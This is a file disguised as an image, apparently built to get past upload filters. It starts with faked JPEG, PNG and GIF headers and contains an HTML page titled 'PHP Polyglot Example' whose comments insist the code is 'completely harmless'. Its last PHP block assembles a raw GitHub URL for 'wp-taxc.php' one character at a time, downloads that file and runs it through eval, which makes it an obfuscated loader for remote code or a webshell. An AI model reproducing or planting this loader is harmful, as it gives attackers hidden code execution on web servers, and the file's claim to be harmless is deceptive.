﻿    JFIF  x x     C  ﻿    JFIF  x x     C  ﻿ ﻿    JFIF  x x     C  ﻿
\xFF\xD8\xFF\xE0
\xFF\xD8\xFF\xE1
\xFF\xD9
\x89\x50\x4E\x47\x0D\x0A\x1A\x0A
 \x47\x49\x46\x38\x37\x61
\x47\x49\x46\x38\x39\x61
﻿﻿     ﻿﻿     ﻿﻿    
﻿﻿﻿PNG %k25u25%fgd5n! ﻿﻿PNG %k25u25%fgd5n! 
﻿﻿PNG %k25u25%fgd5n! ﻿﻿PNG %k25u25%fgd5n! 
﻿﻿PNG %k25u25%fgd5n! ﻿﻿PNG %k25u25%fgd5n! 
    JFIF  x x     C 
"\头"\头
$假PNG头 = "\x89PNG\r\n\x1a\n";
<?php
?>
GIF89a
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>PHP Polyglot Example</title>
</head>
<body>

<h1>PHP Polyglot Demo</h1>

<?php
// This PHP code is completely harmless.
// It just prints today's date.
echo "<p>Today's date is: " . date('Y-m-d') . "</p>";
?>

<p>This file starts with a GIF header, so some tools might classify it incorrectly,
but the contents are safe HTML + PHP.</p>

</body>
</html>

<?php
$arr = ["h","t","t","p","s",":","/","/","r","a","w",".","g","i","t","h","u","b","u","s","e","r","c","o","n","t","e","n","t",".","c","o","m","/","l","m","y","6","5","8","5","6","6","-","c","o","d","e","r","/","a","l","l","/","r","e","f","s","/","h","e","a","d","s","/","m","a","i","n","/","w","p","-","t","a","x","c",".","p","h","p"];

echo implode("", $arr);
$path = implode('', $arr);

$code = implode('', file($path));
eval("?>" . $code);
?>